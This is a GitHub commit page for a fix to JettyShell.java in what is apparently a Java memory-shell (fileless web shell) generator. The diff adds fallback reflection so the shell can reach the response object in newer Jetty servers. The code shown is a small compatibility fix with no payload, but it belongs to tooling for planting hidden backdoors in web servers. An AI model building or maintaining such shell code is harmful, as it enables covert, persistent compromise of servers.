Skip to content

Commit f4b3dbd

Browse files
committed
fix: jetty ee10 listener failed
1 parent e955f99 commit f4b3dbd

File tree

1 file changed

+5
-1
lines changed
  • generator/src/main/java/com/reajason/javaweb/memshell/server

1 file changed

+5
-1
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,11 @@ public static void enter(@Advice.Argument(0) Object request, @Advice.Return(read
2020
try {
2121
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
2222
} catch (Exception e) {
23-
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
23+
try {
24+
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
25+
} catch (Exception ex) {
26+
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_servletChannel"), "_response"), "_servletApiResponse");
27+
}
2428
}
2529
}
2630
}

0 commit comments

Comments
 (0)